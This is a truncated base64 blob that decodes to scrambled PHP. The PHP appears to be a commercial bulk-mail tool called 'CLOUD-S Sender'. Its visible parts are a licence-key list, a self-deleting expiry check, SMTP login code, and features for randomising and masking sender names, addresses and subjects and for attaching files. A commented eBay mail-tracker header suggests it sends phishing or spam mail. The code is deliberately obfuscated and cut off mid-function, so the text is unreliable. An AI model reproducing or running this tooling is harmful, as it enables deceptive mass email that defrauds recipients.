s5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzk2bXxcNVswbVxyXG4iOw0KNWNoMiAiICAgICAgIFw1Wzk2bXxcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzk2bXxcNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtICAgICAgICAgICAgQzJudDFjdCAgUzNwcDJydCBWNDE6ICAgICAgICAgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtICAgICAgRW0xNGwgICAgICA6IGNsMjNkcy5zNW5kNXJAZ20xNGwuYzJtICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtICAgICAgU2t5cDUgICAgICA6IGNsMjNkcy5zNW5kNXIgICAgICAgICAgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtICAgICAgSUNRICAgICAgICA6IDd1aW83aTYwOCAgICAgICAgICAgICAgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm18XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5Nm18XDVbMG1cclxuIjsNCjVjaDIgIiAgICAgICBcNVs5Nm18XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzk2bXxcNVswbVxyXG4iOw0KNWNoMiAiICAgICAgIFw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXHJcbiI7DQo1Y2gyICJcclxuIjsNCg0KJDV4cDRyNWQgPSAodDRtNSgpID4gc3RydDJ0NG01KCdhMDY4LTZhLW82JykpOw0KNGYgKCEkNXhwNHI1ZCkgew0KfQ0KNWxzNXsNCjNubDRuaygncjUxZG01LnR4dCcpOw0KM25sNG5rKCdjbDIzZHMucGhwJyk7DQozbmw0bmsoJ1M1dHQ0bmdzLnBocCcpOw0KM25sNG5rKCc0bmNsM2Q1cy8xdHQxY2htNW50L0F0dDFjaG01bnQucGRmJyk7DQozbmw0bmsoJzRuY2wzZDVzLzVtMTRscy9zNW5kTDRzdC50eHQnKTsNCjNubDRuaygnNG5jbDNkNXMvbDV0dDVyL0w1dHQ1ci5odG1sJyk7DQpybWQ0cignNG5jbDNkNXMvMXR0MWNobTVudCcpOw0Kcm1kNHIoJzRuY2wzZDVzLzVtMTRscycpOw0Kcm1kNHIoJzRuY2wzZDVzL2w1dHQ1cicpOw0Kcm1kNHIoJzRuY2wzZDVzJyk7DQpzeXN0NW0oJ2NsNTFyJyk7DQo1Y2gyICJBY2M1c3MgRXhwNHI1ZCEgUjVuNXcgdzR0aCAzcyEhIjsNCiBkNDUoKTsNCiAgfQ0KDQogICAgJGs1eXMgPSAkQ1NDMm5mNGdbJ1QyazVuJ107DQogICAgJGs1eXYxbDRkPTFycjF5KA0KIkNMRFMtZTZYUkNPVlRORTdpYTlLb0hTSURKOEdaMFFGQkFNIiwNCiJDTERTLU85U2lQUWFaRkpNUkxXWDc4Q0R1b05BSUtIVlkwRSIsDQoiQ0xEUy11VFFaNm8wVjdKTURCZU9ZRVBIWDlBaUw4SWFHUkYiLA0KIkNMRFMtRUtPRGFJUFppOUg4QlEwWDZ1TW9BTlNDR1dWSkxSIiwNCiJDTERTLUdDQk1URllOUzlWQVdMRUt1Sk9Jb2U4aUg2WFo3USIsDQoiQ0xEUy04YVRSNmlpNlY5YTZvNlJZNjdlaTlIZVphTU4wQVkiLA0KIkNMRFMtQjlDR0h1b2VvMHV1bzk3OTBpdWU2V1NERXU3TzBKIiwNCiJDTERTLWFpUmllOFlVb3VlbzZIN29hMDBPODk2Rm9UWVU2UiIsDQoiQ0xEUy1BYTkwdThhN1JURzgwSGFvdTg4RDg2WjllOTBaWEMiLA0KIkNMRFMtWlNlODZEN2V1OUY4OWVhR1RpZWVSYWVGaVRVRzdXIiwNCiJDTERTLVNHaXVlWTdVb29vSEd1aVlIVG91ZW9IVlhlNzc4ZSIsDQoiQ0xEUy1pMHVhRm9EQkFXTWE5MGlHSEdlaUpVVEVDS0lER2kiLA0KIkNMRFMtWTA5U2lQUTZBREJHSkhUZWlDRGllRlRIS1NZMDZXIiwNCiJDTERTLUlZT1V1MEhZSkRaR2k5YVkwN0dGUjBhZVZYUVpNTCIsDQoiQ0xEUy1FRlZTN2lIQ1dlOEpLR0xQTzBPMGU5RzBUOFJvRlQiLA0KICAgICk7DQoNCmYzbmN0NDJuIEs0cjRtKCQ1bTE0bCwgJENsMjNkU1M1cnY1ciwgJENTQzJuZjRnKQ0Kew0KICAgICRzbXRwICAgICAgICAgICA9IG41dyBTTVRQOw0KICAgICRzbXRwLT5kMl9kNWIzZyA9IDA7DQoNCg0KICAgICRzbXRwczVydjVyICAgICA9ICRDbDIzZFNTNXJ2NXJbJ1NNVFAgUzVydjVyJ107DQogICAgJHNtdHBwMnJ0ICAgICAgID0gJENsMjNkU1M1cnY1clsnUDJydCddOw0KICAgICRzbXRwM3M1ciAgICAgICA9ICRDbDIzZFNTNXJ2NXJbJ1VzNXJuMW01J107DQogICAgJHNtdHBwMXNzICAgICAgID0gJENsMjNkU1M1cnY1clsnUDFzc3cycmQnXTsNCiAgICAkcHI0MnI0dHkgICAgICAgPSAkQ1NDMm5mNGdbJ00xNGwgUHI0MnI0dHknXTsNCiAgICAkM3M1cjFuZDJtICAgICAgPSAwOw0KICAgICRzbDU1cHQ0bTUgICAgICA9ICRDU0MybmY0Z1snU2w1NXB0NG01J107DQogICAgJGQ1bDF5bDRtNHQgICAgID0gJENTQzJuZjRnWydENWwxeSBMNG00dCddOw0KICAgICRtMTRsbDRtNHQgICAgICA9ICRDU0MybmY0Z1snTTE0bCBMNG00dCddIDsNCiAgICAkcjVwbDFjNW01bnQgICAgPSA2Ow0KICAgICQzczVycjVtMnY1bDRuNSA9IDA7DQogICAgJGZyMm1uMW01ICAgICAgID0gJENTQzJuZjRnWydGcjJtIE4xbTUnXTsNCiAgICAkZnIybW0xNGwgICAgICAgPSAkQ1NDMm5mNGdbJ0ZyMm0gTTE0bCddOw0KICAgICRzM2JqNWN0ICAgICAgICA9ICRDU0MybmY0Z1snTTE0bCBTM2JqNWN0J107DQogICAgJG1zZ2Y0bDUgICAgICAgID0gJENTQzJuZjRnWydMNXR0NXInXTsNCiAgICAkZjRsNWQ0ciAgICAgICAgPSAkQ1NDMm5mNGdbJ0Y0bDUgQXR0MWNobTVudCddOw0KICAgICRmNGw1bjFtNSAgICAgICA9ICRDU0MybmY0Z1snTjFtNSBBdHQxY2htNW50J107DQogICAgJHIxbmQzcmwgICAgICAgID0gJENTQzJuZjRnWydMNG5rJ107DQogICAgJHQ0bTUgICAgICAgICAgID0gJENTQzJuZjRnWydUNG01J107DQogICAgJGY0bDVzNW5kICAgICAgID0gJENTQzJuZjRnWydTNW5kIEF0dDFjaG01bnQnXTsNCgkkbTFzazRuZ2ZyMm1tMTRsPSAkQ1NDMm5mNGdbJ00xc2s0bmcgRnIybSBNMTRsJ107DQogICAgJG4yICAgICAgICAgICAgID0gNjsNCiAgICAkbjJtMTRsICAgICAgICAgPSA2Ow0KICAgICRoNHQzbmcgICAgICAgICA9IDY7DQoNCg0KICAgIDRmICghJHNtdHAtPmMybm41Y3QoJHNtdHBzNXJ2NXIsICRzbXRwcDJydCkpIHsNCiAgICAgICAgdGhyMncgbjV3IEV4YzVwdDQybignQzJubjVjdCBmMTRsNWQnKTsNCiAgICB9DQoNCiAgICAvL1MxeSBoNWxsMg0KICAgIDRmICghJHNtdHAtPmg1bGwyKGc1dGgyc3RuMW01KCkpKSB7DQogICAgICAgIHRocjJ3IG41dyBFeGM1cHQ0Mm4oJ0VITE8gZjE0bDVkOiAnIC4gJHNtdHAtPmc1dEVycjJyKClbJzVycjJyJ10pOw0KICAgIH0NCg0KICAgICQ1ID0gJHNtdHAtPmc1dFM1cnY1ckV4dEw0c3QoKTsNCg0KICAgIDRmICgxcnIxeV9rNXlfNXg0c3RzKCdTVEFSVFRMUycsICQ1KSkgew0KICAgICAgICAkdGxzMmsgPSAkc210cC0+c3QxcnRUTFMoKTsNCiAgICAgICAgNGYgKCEkdGxzMmspIHsNCiAgICAgICAgICAgIHRocjJ3IG41dyBFeGM1cHQ0Mm4oJ0YxNGw1ZCB0MiBzdDFydCA1bmNyeXB0NDJuOiAnIC4gJHNtdHAtPmc1dEVycjJyKClbJzVycjJyJ10pOw0KICAgICAgICB9DQogICAgICAgIDRmICghJHNtdHAtPmg1bGwyKGc1dGgyc3RuMW01KCkpKSB7DQogICAgICAgICAgICB0aHIydyBuNXcgRXhjNXB0NDJuKCdFSExPIChhKSBmMTRsNWQ6ICcgLiAkc210cC0+ZzV0RXJyMnIoKVsnNXJyMnInXSk7DQogICAgICAgIH0NCiAgICAgICAgJDUgPSAkc210cC0+ZzV0UzVydjVyRXh0TDRzdCgpOw0KICAgIH0NCg0KICAgIDRmICgxcnIxeV9rNXlfNXg0c3RzKCdBVVRIJywgJDUpKSB7DQoNCiAgICAgICAgNGYgKCRzbXRwLT4xM3RoNW50NGMxdDUoJHNtdHAzczVyLCAkc210cHAxc3MpKSB7DQogICAgICAgICAgICAkbTE0bCAgICAgICAgICAgPSBuNXcgUEhQTTE0bDVyOw0KICAgICAgICAgICAgJG0xNGwtPkVuYzJkNG5nID0gJ2IxczVldSc7IC8vIDhiNHQgYjFzNWV1IG0zbHQ0cDFydC8xbHQ1cm4xdDR2NSBxMzJ0NWQtcHI0bnQxYmw1DQogICAgICAgICAgICAkbTE0bC0+Q2gxclM1dCAgPSAnVVRGLTgnOw0KICAgICAgICAgICAgJG0xNGwtPmg1MWQ1ckw0bjUoImYycm0xdCIsICJmbDJ3NWQiKTsNCiAgICAgICAgICAgIC8qICBTbXRwIGMybm41Y3QgICAgKi8NCiAgICAgICAgICAgIC8vJG0xNGwtPjFkZEMzc3QybUg1MWQ1cignWC1FYjF5LU0xNGx0cjFjazVyJywgJzY2dTAwLjAwMC4wLjAuZGY4NmE1MWMxaWRkdTViYjgxMTc2bzgwdWVpMTg1N3UnKTsNCiAgICAgICAgICAgICRtMTRsLT5Jc1NNVFAoKTsNCiAgICAgICAgICAgICRtMTRsLT5TTVRQQTN0aCA9IHRyMzU7DQogICAgICAgICAgICAkbTE0bC0+SDJzdCAgICAgPSAkc210cHM1cnY1cjsNCiAgICAgICAgICAgICRtMTRsLT5QMnJ0ICAgICA9ICRzbXRwcDJydDsNCiAgICAgICAgICAgICRtMTRsLT5QcjQycjR0eSA9ICRwcjQycjR0eTsNCiAgICAgICAgICAgICRtMTRsLT5VczVybjFtNSA9ICRzbXRwM3M1cjsNCiAgICAgICAgICAgICRtMTRsLT5QMXNzdzJyZCA9ICRzbXRwcDFzczsNCg0KICAgICAgICAgICAgNGYgKCQzczVyMW5kMm0gPT0gNikgew0KICAgICAgICAgICAgICAgICRyMW5kICAgICA9IHIxbmQoNiwgaTApOw0KICAgICAgICAgICAgICAgICRmcjJtbjFtNSA9IHIxbmROMW01KCRyMW5kKTsNCiAgICAgICAgICAgICAgICAkZnIybW0xNGwgPSByMW5kTTE0bCgkcjFuZCk7DQogICAgICAgICAgICAgICAgJHMzYmo1Y3QgID0gcjFuZFMzYmo1Y3QoJHIxbmQpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICA0ZiAoJGY0bDVzNW5kID09IDYpIHsNCg0KICAgICAgICAgICAgICAgICRtMTRsLT5BZGRBdHQxY2htNW50KCRmNGw1ZDRyLCRmNGw1bjFtNSk7DQoNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJDFzMyAgICAgICA9IFIxbmRTdHI0bmcoOCk7DQogICAgICAgICAgICAkMXMzNiAgICAgID0gUjFuZFN0cjRuZyhpKTsNCiAgICAgICAgICAgICQxczNhICAgICAgPSBSMW5kU3RyNG5nKGkpOw0KDQogICAgICAgICAgICAkMXMzMyAgICAgICA9IFIxbmRTdHI0bmcoOCk7DQogICAgICAgICAgICAkMXMzMzYgICAgICA9IFIxbmRTdHI0bmcoaSk7DQogICAgICAgICAgICAkMXMzM2EgICAgICA9IFIxbmRTdHI0bmcoaSk7DQogICAgICAgICAgICAkbm1iciAgICAgID0gUjFuZE4zbWI1cihpKTsNCg0KDQogICAgICAgICAgICBkMXQ1X2Q1ZjEzbHRfdDRtNXoybjVfczV0KCdBbTVyNGMxL0FkMWsnKTsNCgkJCSR0NG01YzJtYjRuMXQ0Mm4gPSBkMXQ1KCdGIGQsIFksIGg6NCBBJyk7DQoNCiAgICAgICAgICAgICRmcjJtbjFtNXMgPSBzdHJfcjVwbDFjNSgnIyNSQU5EU1RSSU5HIyMnLCAkMXMzMzYsICRmcjJtbjFtNSk7DQogICAgICAgICAgICAkZnIybW0xNGxzID0gc3RyX3I1cGwxYzUoJyMjUkFORFNUUklORyMjJywgJDFzMzMsICRmcjJtbTE0bCk7DQogICAgICAgICAgICAkczNiajVjdHMgID0gc3RyX3I1cGwxYzUoJyMjREFURSMjJywgJHQ0bTVjMm1iNG4xdDQybiwgJHMzYmo1Y3QpOw0KDQoNCgkJCS8qDQoJCQkkZnIybW4xbTVzID0gc3RyX3I1cGwxYzUoJ1tdJywgJCwgJGZyMm1uMW01KTsNCgkJCSRmcjJtbTE0bHMgPSBzdHJfcjVwbDFjNSgnW10nLCAkLCAkZnIybW0xNGwpOw0KCQkJJHMzYmo1Y3RzICA9IHN0cl9yNXBsMWM1KCdbXScsICQsICRzM2JqNWN0KTsNCgkJCSovDQoNCgkJCTRmKCRtMXNrNG5nZnIybW0xNGw9PTYpew0KICAgICAgICAgICAgJGZyMm1tMTRscz0kc210cDNzNXI7DQoJCQl9DQoNCiAgICAgICAgICAgICRtMTRsLT5zNXRGcjJtKCRmcjJtbTE0bHMsICRmcjJtbjFtNXMpOw0KDQogICAgICAgICAgICAkbTE0bC0+QWRkQWRkcjVzcygkNW0xNGwpOw0KDQogICAgICAgICAgICAkbTE0bC0+UzNiajVjdCA9ICRzM2JqNWN0czsNCiAgICAgICAgICAgIDRmICgkcjVwbDFjNW01bnQgPT0gNikgew0KICAgICAgICAgICAgICAgICRtc2cgPSBsNXR0NXI0bmcoJG1zZ2Y0bDUsICQ1bTE0bCwgJGZyMm1tMTRsLCAkZnIybW4xbTUsICRyMW5kM3JsLCAkczNiajVjdCk7DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICRtc2cgPSBmNGw1X2c1dF9jMm50NW50cygkbXNnZjRsNSk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICRtMTRsLT5tc2dIVE1MKCRtc2cpOw0KDQogICAgICAgICAgICA0ZiAoISRtMTRsLT5zNW5kKCkpIHsNCiAgICAgICAgICAgICAgICA1Y2gyICJTTVRQIEVycjJyIDogIiAuICRtMTRsLT5FcnIyckluZjI7DQogICAgICAgICAgICAgICAgNXg0dCgpOw0KICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICA1Y2gyIGQxdDUoJ2g6NDpzIEEnKTsNCiAgICAgICAgICAgICAgNWNoMiAiXHJcbiI7DQogICAgICAgIDVjaDIgIiAgICAgIFw1Wzk2bVM1bmQgVDIgICAgICAgICAgIFw1WzBtOlw1WzBtICQ1bTE0bA0KICAgICAgXDVbOTZtUzVuZCBGcjJtICAgICAgICAgXDVbMG06XDVbMG0gJHNtdHAzczVyDQogICAgICBcNVs5Nm1GcjJtIEVtMTRsICAgICAgICBcNVswbTpcNVswbSAkZnIybW0xNGxzDQogICAgICBcNVs5Nm1TM2JqNWN0ICAgICAgICAgICBcNVswbTpcNVswbSAkczNiajVjdHMNCiAgICAgIFw1Wzk2bUZyMm0gTjFtNSAgICAgICAgIFw1WzBtOlw1WzBtICRmcjJtbjFtNXMNCiAgICAgIFw1Wzk2bVN0MXQzcyAgICAgICAgICAgIFw1WzBtOiBcNVt1YW0gUzNjYzVzcyFcNVswbSBcclxuIjsNCiAgICAgICAgICAgICAgNWNoMiAiXHJcbiI7DQoJCQkJICAgICAgICAgICAgfQ0KICAgICAgICAgIDVjaDIgIlw1Wzk2bT09PT09PT09PT09PT09PT09PT09PT09W1w1WzBtIFw1WzY7dW1DTE9VRC1TIFM1bmQ1ciB2Ni42LjZcNVswbSBcNVs5Nm1dPT09PT09PT09PT09PT09PT09PT09PT09PVw1WzBtIjsNCiAgICAgICAgICA1Y2gyICJcclxuIjsNCiAgICAgICAgICA1Y2gyICJcbiI7DQogICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgJG0xNGwtPmNsNTFyQWRkcjVzczVzKCk7DQoNCiAgICAgICAgfSA1bHM1IH